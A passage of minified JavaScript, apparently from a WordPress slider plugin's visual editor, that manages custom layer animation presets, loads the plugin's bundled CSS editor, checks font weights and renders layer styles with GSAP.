RVS.F.changeLayerAnimation({direction:this.dataset.lindex,group:this.dataset.gindex,transition:this.dataset.tindex,fromLayerTransListe:!0}),!1}}),RVS.DOC.on("hideCustomLayerNameEntering",function(){jQuery(".cla_showentername").removeClass("cla_showentername")}),RVS.DOC.on("click",".edit_custom_layeranimation",function(){var e=void 0!==this.dataset.evt?jQuery(this).closest(".presets_listelement"):jQuery(this).closest(".layer_trans_liste");return e[0].dataset.mode="rename",e.addClass("cla_showentername"),e.find("input").trigger("focus").trigger("select"),RVS.S.waitOnFeedback={allowed:["cla_entername","cla_answer_yes","cla_answer_no"],closeEvent:"hideCustomLayerNameEntering"},RVS.F.addBodyClickListener(),!1}),RVS.DOC.on("click",".delete_custom_layeranimation",function(){var e=void 0!==this.dataset.evt?jQuery(this).closest(".presets_listelement"):jQuery(this).closest(".layer_trans_liste");return e[0].dataset.mode="delete",e.addClass("cla_showmessage"),e.find(".cla_message").text(RVS_LANG.deletetemplate),RVS.S.waitOnFeedback={allowed:["cla_answer_yes","cla_answer_no"],closeEvent:"hideCustomLayerNameEntering"},RVS.F.addBodyClickListener(),!1}),RVS.DOC.on("click",".save_custom_layeranimation",function(){var e=void 0!==this.dataset.evt?jQuery(this).closest(".presets_listelement"):jQuery(this).closest(".layer_trans_liste");return e[0].dataset.mode="overwrite",e.addClass("cla_showmessage"),e.find(".cla_message").text(RVS_LANG.overwritetemplate),RVS.S.waitOnFeedback={allowed:["cla_answer_yes","cla_answer_no"],closeEvent:"hideCustomLayerNameEntering"},RVS.F.addBodyClickListener(),!1}),RVS.DOC.on("click",".cla_answer_no",function(){return RVS.S.waitOnFeedback=void 0,jQuery(document.body).off("click.revbuilderbodyclick"),jQuery(".cla_showentername").removeClass("cla_showentername"),jQuery(".cla_showmessage").removeClass("cla_showmessage"),!1}),RVS.DOC.on("click",".cla_answer_yes",function(){if(void 0!==this.dataset.evt){var e=jQuery(this).closest(".presets_listelement"),t=e[0].dataset.mode,i=e.find(".cla_entername").val();"create"===t&&(o=jQuery('
    '+i+'
    '+RVS_LANG.overwritetemplate+'
    donecloseeditsavedelete
    '),e.closest(".presets_listelements").append(o)),RVS.DOC.trigger(this.dataset.evt,{mode:t,element:o,pl:e,key:e[0].dataset.key,newname:i})}else{var a=jQuery(this).closest(".layer_trans_liste"),t=a[0].dataset.mode,r=RVS.LIB.LAYERANIMS[a[0].dataset.lindex][a[0].dataset.gindex];switch(t){case"rename":case"overwrite":case"create":var s,o,i=a.find(".cla_entername").val(),n={name:i};"custom"!==a.data("tindex")&&"create"!==t||(o=jQuery('
    '+i+'
    '+RVS_LANG.overwritetemplate+'
    donecloseeditsavedelete
    '),a.closest(".lainner_transitions").append(o)),"overwrite"!==t&&"custom"!==a.data("tindex")&&"create"!==t||("in"===a.data("lindex")?(n.frame_0=u(jQuery.extend(!0,{},RVS.L[RVS.selLayers[0]].timelinecache.frames.frame_0)),n.frame_1=u(jQuery.extend(!0,{},RVS.L[RVS.selLayers[0]].timelinecache.frames.frame_1))):"out"===a.data("lindex")?n.frame_999=u(jQuery.extend(!0,{},RVS.L[RVS.selLayers[0]].timelinecache.frames.frame_999)):"loop"===a.data("lindex")&&((n=u(jQuery.extend(!0,{},RVS.L[RVS.selLayers[0]].timelinecache.loop))).name=i)),"overwrite"!==t&&"rename"!=t||(s=a.data("tindex")),"rename"===t&&(n=r.transitions[s],r.transitions[s].name=i),RVS.F.ajaxRequest("save_animation",{id:s,obj:n,type:a[0].dataset.lindex},function(e){e.success&&(r.transitions[e.id]=n,"custom"!==a.data("tindex")&&"create"!==t||(o[0].dataset.tindex=e.id),"rename"===t&&a.find(".cla_custom_name").text(i))});break;case"delete":RVS.F.ajaxRequest("delete_animation",{id:a[0].dataset.tindex},function(e){e.success&&(delete r.transitions[a[0].dataset.tindex],a.remove())})}}return RVS.S.waitOnFeedback=void 0,jQuery(document.body).off("click.revbuilderbodyclick"),jQuery(".cla_showentername").removeClass("cla_showentername"),jQuery(".cla_showmessage").removeClass("cla_showmessage"),!1}),RVS.DOC.on("SvgSelectAllChanged",function(e,t){void 0!==t&&void 0!==t.layerid&&(RVS.H[t.layerid].c[0].innerHTML=RVS.L[t.layerid].svg.renderedData,RVS.H[t.layerid].svg=RVS.H[t.layerid].w.find("svg"),RVS.H[t.layerid].svgPath=RVS.H[t.layerid].w.find(RVS.L[t.layerid].idle.svg.styleAll?"svg path, svg circle, svg ellipse, svg line, svg polygon, svg polyline, svg rect":"svg path"))})},RVS.F.updateCustomCSS=function(){"FAIL"!==window.customLayerCss_editor&&("undefined"==typeof RevMirror?(RVS.F.showWaitAMinute({fadeIn:500,text:RVS_LANG.loadingRevMirror}),RVS.F.loadCSS(RVS.ENV.plugin_url+"/admin/assets/css/RevMirror.css"),jQuery.getScript(RVS.ENV.plugin_url+"/admin/assets/js/plugins/RevMirror.js",function(){setTimeout(function(){RVS.F.showWaitAMinute({fadeOut:500})},100),RVS.F.updateCustomCSS()}).fail(function(e,t,i){setTimeout(function(){RVS.F.showWaitAMinute({fadeOut:500})},100),window.customLayerCss_editor="FAIL"})):void 0===window.customLayerCss_editor?(window.customLayerCss_editor=RevMirror(document.getElementById("custom_css_layer_area"),{value:"",mode:"css",theme:"hopscotch",lineWrapping:!0,lineNumbers:!1}),window.customLayerCss_editor.on("focus",function(){window.customLayerCss_editor.refresh()}),window.customLayerCss_editor.on("change",function(e,t){RVS.L[RVS.selLayers[0]].customCSS=window.customLayerCss_editor.getValue()}),setTimeout(RVS.F.updateCustomCSS,200)):void 0===window.customHoverLayerCss_editor?(window.customHoverLayerCss_editor=RevMirror(document.getElementById("custom_css_hover_layer_area"),{value:"",mode:"css",theme:"hopscotch",lineWrapping:!0,lineNumbers:!1}),window.customHoverLayerCss_editor.on("focus",function(){window.customHoverLayerCss_editor.refresh()}),window.customHoverLayerCss_editor.on("change",function(e,t){RVS.L[RVS.selLayers[0]].customHoverCSS=window.customHoverLayerCss_editor.getValue()}),setTimeout(RVS.F.updateCustomCSS,200)):RVS.F.updateCusCSSContent())},RVS.F.updateCusCSSContent=function(){RVS.selLayers.length>0&&null!=window.customLayerCss_editor&&(window.customLayerCss_editor.setValue(RVS.L[RVS.selLayers[0]].customCSS),setTimeout(function(){window.customLayerCss_editor.refresh()},200)),RVS.selLayers.length>0&&void 0!==window.customHoverLayerCss_editor&&(window.customHoverLayerCss_editor.setValue(RVS.L[RVS.selLayers[0]].customHoverCSS),setTimeout(function(){window.customHoverLayerCss_editor.refresh()},200))},RVS.F.compareGoogleFontName=function(t,i){if(void 0!==t&&""!==t&&0!=t.length){e=void 0===e?{source:[],result:[]}:e;var a=jQuery.inArray(t,e.source),r=0;if(a>=0)return e.result[a];for(a=!1,e.source.push(t);r'+RVS.LIB.FONTS[r].label.split('"').join("")+""),RVS.LIB.FONTS[r].labelLowerCase=RVS.LIB.FONTS[r].label.toLowerCase());t[0].innerHTML=i,t.ddTP("change"),void 0===o&&(o=!0,RVS.DOC.on("mouseenter",".ddTP_C--fontfamily .ddTP_RO",function(){void 0===this.dataset.val&&(this.dataset.val=this.innerHTML);var e=this.dataset.val.replace(/\ /g,"_");a=this.dataset.val,void 0!==n[e]&&RVS.F.showTextLayerWithFont({family:a})}),RVS.DOC.on("mouseleave",".ddTP_C--fontfamily",function(){RVS.F.resetFontFamiliesOnSelectedLayers()}))},RVS.F.checkAvailableFontWeights=function(e){if(0!==RVS.selLayers.length){t=void 0===t?jQuery("#layer_fontweight_idle"):t,void 0===i&&(i=[],t.find("option").each(function(){i.push({option:this,state:!0})}));var a=[];for(var r in RVS.selLayers)if(RVS.selLayers.hasOwnProperty(r)){var s=RVS.selLayers[r];"text"!==(V=RVS.L[s]).type&&"button"!==V.type||-1==jQuery.inArray(V.idle.fontFamily,a)&&a.push({family:V.idle.fontFamily,weights:[]})}for(var o in i)i.hasOwnProperty(o)&&(t.find('option[value="'+i[o].option.value+'"]').prop("disabled",!1),i[o].state=!0);for(var n in a)if(a.hasOwnProperty(n)){var d=a[n].family;if(d.length>0)for(var S in RVS.LIB.FONTS)if(RVS.LIB.FONTS.hasOwnProperty(S)){var c=RVS.LIB.FONTS[S];if(c.label===d)for(var o in i)if(i.hasOwnProperty(o)){var p=i[o].option.value;jQuery.inArray(p,c.variants)>=0||"websafe"===c.type?a[n].weights.push(p):i[o].state&&(t.find('option[value="'+p+'"]').prop("disabled","disabled"),i[o].state=!1)}}}var u=!1,R=!1;for(var r in RVS.selLayers)if(RVS.selLayers.hasOwnProperty(r)){var V;s=RVS.selLayers[r];if("text"===(V=RVS.L[s]).type||"button"===V.type){var m=-1;for(var n in a)a.hasOwnProperty(n)&&a[n].family==V.idle.fontFamily&&""!==a[n].family&&(m=n);if(m>=0)for(var y in RVS.V.sizes)if(RVS.V.sizes.hasOwnProperty(y)){var g=RVS.V.sizes[y];if(-1==jQuery.inArray(V.idle.fontWeight[g].v,a[m].weights)){!1===R&&!1===RVS.S.bckpGrp&&(R=!1===RVS.S.bckpGrp?"started":"inProgress",RVS.F.openBackupGroup({id:"fontWeight",txt:"Font Weight",icon:"layers",lastkey:"layer"})),u=!0;var f=l({v:V.idle.fontWeight[g].v,a:a[m].weights});RVS.F.updateSliderObj({path:RVS.S.slideId+".layers."+s+".idle.fontWeight."+g+".v",val:f})}}}}"started"===R&&RVS.F.closeBackupGroup({id:"fontWeight"}),u&&RVS.F.updateEasyInputs({container:jQuery("#form_layerstyle_font"),path:RVS.S.slideId+".layers.",trigger:"init",multiselection:!0}),e||(t.hasClass("ddTP-hidden-accessible")&&t.ddTP("destroy"),t.ddTP({placeholder:"Select"}))}},RVS.F.showTextLayerWithFont=function(e){for(var t in RVS.selLayers)if(RVS.selLayers.hasOwnProperty(t)){var i=RVS.selLayers[t],a=RVS.L[i],r=RVS.H[i].c;"text"!==a.type&&"button"!==a.type||r.css({fontFamily:"'"+e.family+"'"})}},RVS.F.resetFontFamiliesOnSelectedLayers=function(){for(var e in RVS.selLayers)if(RVS.selLayers.hasOwnProperty(e)){var t=RVS.selLayers[e],i=RVS.L[t];"text"!==i.type&&"button"!==i.type||RVS.F.drawHTMLLayer({uid:t})}},RVS.F.getDashArray=function(e){return(RVS.F.isNumeric(e)||-1===e.indexOf(",")&&-1===e.indexOf(" ")||1===e.split(",").length||1===e.split(" ").length)&&(e=e+" "+e),e},RVS.F.drawSlideBasedPercenatages=function(){requestAnimationFrame(function(){if(null==RVS.S.ulDIMCache||RVS.S.ulDIM.width!==RVS.S.ulDIMCache.width||RVS.S.ulDIM.height!==RVS.S.ulDIMCache.height){for(var e in RVS.L)RVS.L.hasOwnProperty(e)&&null!=RVS.L[e].behavior&&"slide"===RVS.L[e].behavior.baseAlign&&""+RVS.L[e].group.puid=="-1"&&((""+RVS.L[e].size.width[RVS.screen].v).indexOf("%")>=0&&tpGS.gsap.set(RVS.H[e].w,{width:(RVS.F.CHOR()?RVS.S.lgw:Math.max(RVS.S.ulDIM.width-RVS.S.vertCarOff,RVS.S.lgw))*(parseInt(RVS.L[e].size.width[RVS.screen].v)/100)}),(""+RVS.L[e].size.height[RVS.screen].v).indexOf("%")>=0&&tpGS.gsap.set(RVS.H[e].w,{height:Math.max(RVS.S.ulDIM.height,RVS.S.lgh)*(parseInt(RVS.L[e].size.height[RVS.screen].v)/100)}));RVS.S.ulDIMCache={width:RVS.S.ulDIM.width,height:RVS.S.ulDIM.height}}})},RVS.F.drawHTMLLayer=function(e){if(!RVS.S.drawHTMLLayersCalled)return;if(void 0===RVS.H[e.uid]){if(!0===e.recheck)return;e.recheck=!0,setTimeout(function(){RVS.F.drawHTMLLayer(e)},500)}var t,i=RVS.H[e.uid],a=RVS.L[e.uid];if(void 0===i)return;var r=i.c[0].className.indexOf("placeholder_on")>=0;manipulate=void 0!==a.subtype&&void 0!==RVS.F.drawLayerExt&&void 0!==RVS.F.drawLayerExt[a.subtype]&&RVS.F.drawLayerExt[a.subtype](e.uid),i.c[0].className="_lc_content_"+(r?" placeholder_on":"")+(manipulate&&void 0!==manipulate.CN?manipulate.CN:"")+(void 0!==a.idle.style?" "+a.idle.style:"")+(void 0!==a.runtime.internalClass?" "+a.runtime.internalClass:"");var s={textAlign:a.idle.textAlign[RVS.screen].v,boxSizing:"border-box",transformStyle:a.timeline.split?"preserve-3d":"flat",fontFamily:void 0!==a.idle.fontFamily?-1===a.idle.fontFamily.indexOf(",")?"'"+a.idle.fontFamily+"'":a.idle.fontFamily:"Roboto",fontSize:parseInt(a.idle.fontSize[RVS.screen].v,0)+"px",lineHeight:parseInt(a.idle.lineHeight[RVS.screen].v,0)+"px",fontWeight:void 0===a.idle.fontWeight[RVS.screen].v?400:a.idle.fontWeight[RVS.screen].v,color:window.RSColor.get(a.idle.color[RVS.screen].v),letterSpacing:parseFloat(a.idle.letterSpacing[RVS.screen].v)+"px",fontStyle:"normal"===a.idle.fontStyle||!1===a.idle.fontStyle?"normal":"italic",textDecoration:"row"===a.type||"column"===a.type||"group"===a.type?"none":a.idle.textDecoration,textTransform:a.idle.textTransform,borderColor:"column"===a.type?"transparent":window.RSColor.get(a.idle.borderColor),borderRadius:a.idle.borderRadius.v[0]+" "+a.idle.borderRadius.v[1]+" "+a.idle.borderRadius.v[2]+" "+a.idle.borderRadius.v[3]+" ",borderWidth:a.idle.borderWidth[0]+" "+a.idle.borderWidth[1]+" "+a.idle.borderWidth[2]+" "+a.idle.borderWidth[3]+" ",borderStyle:a.idle.borderStyle[RVS.screen].v,width:a.size.width[RVS.screen].v,height:a.size.height[RVS.screen].v,whiteSpace:"normal"==a.idle.whiteSpace[RVS.screen].v||"full"==a.idle.whiteSpace[RVS.screen].v?"normal":"nowrap",paddingTop:a.idle.padding[RVS.screen].v[0],paddingRight:a.idle.padding[RVS.screen].v[1],paddingBottom:a.idle.padding[RVS.screen].v[2],paddingLeft:a.idle.padding[RVS.screen].v[3],minWidth:"none"===a.size.minWidth[RVS.screen].v?0:a.size.minWidth[RVS.screen].v,minHeight:"none"===a.size.minHeight[RVS.screen].v?0:a.size.minHeight[RVS.screen].v,maxWidth:a.size.maxWidth[RVS.screen].v,maxHeight:a.size.maxHeight[RVS.screen].v,boxShadow:a.idle.boxShadow.inuse?a.idle.boxShadow.color+" "+a.idle.boxShadow.hoffset[RVS.screen].v+" "+a.idle.boxShadow.voffset[RVS.screen].v+" "+a.idle.boxShadow.blur[RVS.screen].v+" "+a.idle.boxShadow.spread[RVS.screen].v+" ":"none"},o={rotationX:a.hover.rotationX,rotationY:a.hover.rotationY,rotationZ:a.hover.rotationZ,autoAlpha:a.hover.opacity,transformPerspective:RVS.SLIDER.settings.general.perspective,transformOrigin:a.hover.originX+" "+a.hover.originY+" "+a.hover.originZ,skewX:a.hover.skewX,skewY:a.hover.skewY,scaleX:a.hover.scaleX,scaleY:a.hover.scaleY,borderColor:window.RSColor.get(manipulate&&void 0!==manipulate.hoverBorderColor?manipulate.hoverBorderColor:a.hover.borderColor),borderTopLeftRadius:a.hover.borderRadius.v[0],borderTopRightRadius:a.hover.borderRadius.v[1],borderBottomRightRadius:a.hover.borderRadius.v[2],borderBottomLeftRadius:a.hover.borderRadius.v[3],borderTopWidth:a.hover.borderWidth[0],borderRightWidth:a.hover.borderWidth[1],borderBottomWidth:a.hover.borderWidth[2],borderLeftWidth:a.hover.borderWidth[3],borderStyle:a.hover.borderStyle,color:window.RSColor.get(manipulate&&void 0!==manipulate.hoverColor?manipulate.hoverColor:a.hover.color),textDecoration:a.hover.textDecoration},n="row"===a.type?{marginTop:a.idle.margin[RVS.screen].v[0],paddingRight:a.idle.margin[RVS.screen].v[1],marginBottom:a.idle.margin[RVS.screen].v[2],paddingLeft:a.idle.margin[RVS.screen].v[3]}:"column"===a.type?{paddingTop:a.idle.margin[RVS.screen].v[0],paddingRight:a.idle.margin[RVS.screen].v[1],paddingBottom:a.idle.margin[RVS.screen].v[2],paddingLeft:a.idle.margin[RVS.screen].v[3]}:{marginTop:a.idle.margin[RVS.screen].v[0],marginRight:a.idle.margin[RVS.screen].v[1],marginBottom:a.idle.margin[RVS.screen].v[2],marginLeft:a.idle.margin[RVS.screen].v[3]},l=window.RSColor.get(a.idle.backgroundColor),d=window.RSColor.get(manipulate&&void 0!==manipulate.hoverBG?manipulate.hoverBG:a.hover.backgroundColor),S="video"===a.type?a.media.posterUrl:a.idle.backgroundImage,c={};if(!1===a.visibility[RVS.screen]?n.opacity=.25:n.opacity=1,a.idle.textShadow.inuse?s.textShadow=a.idle.textShadow.hoffset[RVS.screen].v+" "+a.idle.textShadow.voffset[RVS.screen].v+" "+a.idle.textShadow.blur[RVS.screen].v+" "+a.idle.textShadow.color:s["text-shadow"]="none",a.idle.textStroke.inuse?s["-webkit-text-stroke"]=parseInt(a.idle.textStroke.width[RVS.screen].v,0)+"px "+a.idle.textStroke.color:s["-webkit-text-stroke"]="0 transparent","column"==a.type&&(c.borderColor=window.RSColor.get(a.idle.borderColor),c.borderWidth=a.idle.borderWidth[0]+" "+a.idle.borderWidth[1]+" "+a.idle.borderWidth[2]+" "+a.idle.borderWidth[3]+" ",c.borderStyle=a.idle.borderStyle[RVS.screen].v),void 0!==S&&S.length>4&&-1==l.indexOf("gradient")?"column"===a.type||"row"===a.type?(c.backgroundImage='url("'+S+'")',c.backgroundPosition=a.idle.backgroundPosition,c["background-size"]="percentage"===a.idle.backgroundSize?a.idle.backgroundSizePerc+"%":"pixel"===a.idle.backgroundSize?a.idle.backgroundSizePix+"px":a.idle.backgroundSize,c.backgroundRepeat=a.idle.backgroundRepeat):(s.backgroundImage='url("'+S+'")',s.backgroundPosition=a.idle.backgroundPosition,s["background-size"]="percentage"===a.idle.backgroundSize?a.idle.backgroundSizePerc+"%":"pixel"===a.idle.backgroundSize?a.idle.backgroundSizePix+"px":a.idle.backgroundSize,s.backgroundRepeat=a.idle.backgroundRepeat,"transparent"!==l&&(s.backgroundColor=l),"transparent"!==d&&(o.backgroundColor=d)):("column"===a.type||"row"===a.type?(c.backgroundImage="",c.transformStyle="preserve-3d"):s.background=l,-1==d.indexOf("gradient")?o.backgroundColor=d:o.background=d),"column"===a.type||"row"===a.type){c.left="column"===a.type?0:a.idle.margin[RVS.screen].v[3],c.right="column"===a.type?0:a.idle.margin[RVS.screen].v[1],c.top=0,c.bottom=0,c.borderRadius=a.idle.borderRadius.v[0]+" "+a.idle.borderRadius.v[1]+" "+a.idle.borderRadius.v[2]+" "+a.idle.borderRadius.v[3]+" ",tpGS.gsap.set(i.bg,c),"column"===a.type&&tpGS.gsap.set(i.bgmask,{top:a.idle.margin[RVS.screen].v[0],bottom:a.idle.margin[RVS.screen].v[2],left:a.idle.margin[RVS.screen].v[3],right:a.idle.margin[RVS.screen].v[1]});var p=[parseInt(a.idle.borderWidth[0]),parseInt(a.idle.borderWidth[1]),parseInt(a.idle.borderWidth[2]),parseInt(a.idle.borderWidth[3])];tpGS.gsap.set(i.margins.top,{height:a.idle.margin[RVS.screen].v[0],top:"row"===a.type?0-a.idle.margin[RVS.screen].v[0]:"0",paddingRight:a.idle.margin[RVS.screen].v[1],paddingLeft:a.idle.margin[RVS.screen].v[3]}),tpGS.gsap.set(i.margins.bottom,{height:a.idle.margin[RVS.screen].v[2],bottom:"row"===a.type?0-a.idle.margin[RVS.screen].v[2]:"0",paddingRight:a.idle.margin[RVS.screen].v[1],paddingLeft:a.idle.margin[RVS.screen].v[3]}),tpGS.gsap.set(i.margins.left,{width:a.idle.margin[RVS.screen].v[3],lineHeight:a.idle.margin[RVS.screen].v[0]}),tpGS.gsap.set(i.margins.right,{width:a.idle.margin[RVS.screen].v[1]}),tpGS.gsap.set(i.paddings.top,{height:a.idle.padding[RVS.screen].v[0]+p[0],top:"row"===a.type?0:a.idle.margin[RVS.screen].v[0],paddingRight:a.idle.padding[RVS.screen].v[1]+a.idle.margin[RVS.screen].v[1]+p[1],paddingLeft:a.idle.padding[RVS.screen].v[3]+a.idle.margin[RVS.screen].v[3]+p[3]}),tpGS.gsap.set(i.paddings.bottom,{height:a.idle.padding[RVS.screen].v[2]+p[2],bottom:"row"===a.type?0:a.idle.margin[RVS.screen].v[2],paddingRight:a.idle.padding[RVS.screen].v[1]+a.idle.margin[RVS.screen].v[1]+p[1],paddingLeft:a.idle.padding[RVS.screen].v[3]+a.idle.margin[RVS.screen].v[3]+p[3]}),tpGS.gsap.set(i.paddings.left,{left:a.idle.margin[RVS.screen].v[3],width:a.idle.padding[RVS.screen].v[3]+p[3],paddingTop:"row"===a.type?0:a.idle.margin[RVS.screen].v[0],paddingBottom:"row"===a.type?0:a.idle.margin[RVS.screen].v[2]}),tpGS.gsap.set(i.paddings.right,{right:a.idle.margin[RVS.screen].v[1],width:a.idle.padding[RVS.screen].v[1]+p[1],paddingTop:"row"===a.type?0:a.idle.margin[RVS.screen].v[0],paddingBottom:"row"===a.type?0:a.idle.margin[RVS.screen].v[2]}),"column"===a.type?(tpGS.gsap.set(i.borders.top,{top:a.idle.margin[RVS.screen].v[0],left:a.idle.margin[RVS.screen].v[3],right:a.idle.margin[RVS.screen].v[1],width:"auto"}),tpGS.gsap.set(i.borders.right,{right:a.idle.margin[RVS.screen].v[1],top:a.idle.margin[RVS.screen].v[0],bottom:a.idle.margin[RVS.screen].v[2],height:"auto"}),tpGS.gsap.set(i.borders.bottom,{bottom:a.idle.margin[RVS.screen].v[2],left:a.idle.margin[RVS.screen].v[3],right:a.idle.margin[RVS.screen].v[1],width:"auto"}),tpGS.gsap.set(i.borders.left,{left:a.idle.margin[RVS.screen].v[3],top:a.idle.margin[RVS.screen].v[0],bottom:a.idle.margin[RVS.screen].v[2],height:"auto"})):(tpGS.gsap.set([i.borders.bottom,i.borders.top],{left:a.idle.margin[RVS.screen].v[3],right:a.idle.margin[RVS.screen].v[1],width:"auto"}),tpGS.gsap.set(i.borders.right,{right:a.idle.margin[RVS.screen].v[1]}),tpGS.gsap.set(i.borders.left,{left:a.idle.margin[RVS.screen].v[3]}))}else"video"===a.type?(i.vtitle.textContent=a.media.mediaType,i.volay.style.backgroundImage=RVS._R.createOverlay("slide",a.media.dotted,a.media.dottedSize,{0:a.media.dottedColorA,1:a.media.dottedColorB})):"audio"===a.type?!1===a.media.controls?(i.c[0].classList.add("placeholder_on"),i.c[0].classList.remove("audio_controls_on")):(i.c[0].classList.add("audio_controls_on"),i.c[0].classList.remove("placeholder_on")):"shape"===a.type&&i.c[0].classList[a.idle.bgFromStream?"add":"remove"]("placeholder_on");n.verticalAlign="inherit","column"!==a.type&&"group"!==a.type||(n.verticalAlign=a.idle.verticalAlign,s.verticalAlign=a.idle.verticalAlign);let u=-1!=a.group.puid&&("column"===RVS.L[a.group.puid].type||"group"===RVS.L[a.group.puid].type);u?(n.display=s.display=a.idle.display,n.float=a.idle.float[RVS.screen].v,n.clear=a.idle.clear[RVS.screen].v):"row"!==a.type&&"column"!==a.type&&(s.display="block",n.clear="none"),void 0!==a.hover.filter.blur&&(t="blur("+parseInt(a.hover.filter.blur,0)+"px)",o["-webkit-filter"]=void 0===o["-webkit-filter"]?t:o["-webkit-filter"]+" "+t,o.filter=void 0===o.filter?t:o.filter+" "+t),void 0!==a.hover.filter.grayscale&&(t="grayscale("+parseInt(a.hover.filter.grayscale,0)+"%)",o["-webkit-filter"]=void 0===o["-webkit-filter"]?t:o["-webkit-filter"]+" "+t,o.filter=void 0===o.filter?t:o.filter+" "+t),void 0!==a.hover.filter.brightness&&(t="brightness("+parseInt(a.hover.filter.brightness,0)+"%)",o["-webkit-filter"]=void 0===o["-webkit-filter"]?t:o["-webkit-filter"]+" "+t,o.filter=void 0===o.filter?t:o.filter+" "+t),"blur(0px) grayscale(0%) brightness(100%)"===o.filter&&(o.filter="",o["-webkit-filter"]=""),a.timeline.hoverFilterUsed=void 0!==o.filter&&""!==o.filter,i.w_width=s.width="auto"==a.size.width[RVS.screen].v?"auto":RVS.F.smartConvertDivs(a.size.width[RVS.screen].v),i.w_height=s.height="auto"==a.size.height[RVS.screen].v?"auto":RVS.F.smartConvertDivs(a.size.height[RVS.screen].v),"image"===a.type&&(s.overflow="hidden");var R=RVS.F.convertFraction(a.group.columnSize);"fullinset"==a.size.covermode&&u&&"absolute"==a.position.position&&"100%"==a.size.width[RVS.screen].v?(n.marginLeft="0px",n.marginRight="0px",n.width="auto"):n.width="column"==a.type?100*R+"%":"slide"===a.behavior.baseAlign&&""+a.group.puid=="-1"&&(""+i.w_width).indexOf("%")>=0?(RVS.F.CHOR()?RVS.S.lgw:Math.max(RVS.S.ulDIM.width-RVS.S.vertCarOff,RVS.S.lgw))*(parseInt(i.w_width)/100):i.w_width,"fullinset"==a.size.covermode&&u&&"absolute"==a.position.position&&"100%"==a.size.height[RVS.screen].v?(n.marginTop="0px",n.marginBottom="0px",n.height="auto"):n.height="column"==a.type||"row"==a.type?"auto":"slide"===a.behavior.baseAlign&&""+a.group.puid=="-1"&&(""+i.w_height).indexOf("%")>=0?Math.max(RVS.S.ulDIM.height,RVS.S.lgh)*(parseInt(i.w_height)/100):i.w_height,n.maxWidth="column"==a.type?"0px":void 0===n.maxWidth?"none":n.maxWidth,s.width="column"==a.type||"row"==a.type?"100%":s.width,s.height="column"==a.type||"row"==a.type?"auto":s.height;var V="slide"===a.behavior.baseAlign?RVS.F.updateCoveredLayer(a.uid):void 0;if("column"===a.type)s.whiteSpace="normal","notebook"===(m=RVS.L[a.group.puid].group.columnbreakat)&&("n"===RVS.screen||"t"===RVS.screen||"m"===RVS.screen)||"tablet"===m&&("t"===RVS.screen||"m"===RVS.screen)||"mobile"===m&&"m"===RVS.screen?(n.display="block",s.width="100%",n.width="100%",n.maxWidth="none"):n.display="table-cell";else if("row"===a.type){var m;n.width="100%","notebook"===(m=a.group.columnbreakat)&&("n"===RVS.screen||"t"===RVS.screen||"m"===RVS.screen)||"tablet"===m&&("t"===RVS.screen||"m"===RVS.screen)||"mobile"===m&&"m"===RVS.screen?s.display="block":s.display="table"}else if("image"===a.type&&"custom"!==a.size.covermode){var y=RVS.F.getProportionalSizes({proportional:a.size.scaleProportional,type:a.size.covermode,image:{width:a.size.originalWidth,height:a.size.originalHeight},viewPort:{width:void 0!==V&&!1!==V&&void 0!==V.width?RVS.S.ulDIM.width:RVS.F.GW(RVS.screen),height:void 0!==V&&!1!==V&&void 0!==V.height?RVS.S.ulDIM.height:RVS.SLIDER.settings.size.height[RVS.screen]}});n.width=s.width=y.width,n.height=s.height=y.height}else if("video"===a.type&&"auto"===a.size.height[RVS.screen].v){var g=a.media.ratio.split(":");g=g[1]/g[0],n.height=s.height=i.w.width()*g}else"shape"===a.type?n.lineHeight=RVS.F.isVaOrPx(s.height)?parseInt(s.height,0)+"px":"auto":"svg"===a.type&&i.svg&&(tpGS.gsap.set(i.svg,!0!==a.idle.svg.originalColor?{width:"100%",height:"100%",fill:window.RSColor.get(a.idle.svg.color[RVS.screen].v),stroke:window.RSColor.get(a.idle.svg.strokeColor),"stroke-width":a.idle.svg.strokeWidth,"stroke-dasharray":RVS.F.getDashArray(a.idle.svg.strokeDashArray),"stroke-dashoffset":void 0===a.idle.svg.strokeDashOffset?0:a.idle.svg.strokeDashOffset}:{width:"100%",height:"100%",clearProps:"fill,stroke,stroke-width,stroke-dasharray,stroke-dashoffset"}),!0!==a.idle.svg.originalColor?tpGS.gsap.set(i.svgPath,{fill:window.RSColor.get(a.idle.svg.color[RVS.screen].v)}):tpGS.gsap.set(i.svgPath,{clearProps:"fill"}));if("slide"===a.behavior.baseAlign&&(i.w_width=n.width=!1!==V&&void 0!==V.width?V.width:n.width,i.w_height=n.height=!1!==V&&void 0!==V.height?V.height:n.height),!RVS.F.isNumeric(s.width)&&s.width.indexOf("%")>=0&&(s.width="100%"),!RVS.F.isNumeric(s.height)&&s.height.indexOf("%")>=0&&(s.height="100%"),"group"===a.type&&("100%"===s.height?tpGS.gsap.set([i.m,i.iw,i.lp],{height:"100%"}):(tpGS.gsap.set(i.iw,{height:"auto"}),tpGS.gsap.set([i.m,i.lp],{height:"100%"}))),n.onComplete=function(){RVS.DOC.trigger("layerDrawn",{layerid:e.uid})},"true"==a.hover.usehover||1==a.hover.usehover||"desktop"==a.hover.usehover){var f,h=void 0!==s.background&&"string"==typeof s.background&&-1!==s.background.search("gradient"),v=void 0!==o.background&&"string"==typeof o.background&&-1!==o.background.search("gradient");h&&v?(180!==RVS.F.gradDegree(s.background)&&180==RVS.F.gradDegree(o.background)&&(o.background=RVS.F.addGradDegree(o.background,180)),f=tpGS.getSSGColors(s.background,o.background,a.hover.gradientStyle),s.background=f.from,o.background=f.to):void 0!==s.background&&!h&&v?(f=tpGS.getSSGColors(s.background,o.background,a.hover.gradientStyle),s.background=f.from,o.background=f.to):h&&!v&&void 0!==o.backgroundColor&&(f=tpGS.getSSGColors(s.background,o.backgroundColor,a.hover.gradientStyle),s.background=f.from,o.background=f.to)}"column"===a.type&&(delete s.backgroundColor,delete s.background),s.immediateRender=!0,n.immediateRender=!0,tpGS.gsap.set(i.c,s),tpGS.gsap.set(i.w,n),RVS.F.updateSharpCorners({uid:e.uid,bgcolor:l}),i.htr=o,i.bg_htr={},requestAnimationFrame(function(){RVS.F.renderLayerAnimation({layerid:e.uid,quickRendering:e.ignoreLayerAnimation,timeline:"full",caller:"drawHTMLLayer"}),RVS.F.checkCurrentLayerHoverMode({layerid:e.uid}),(void 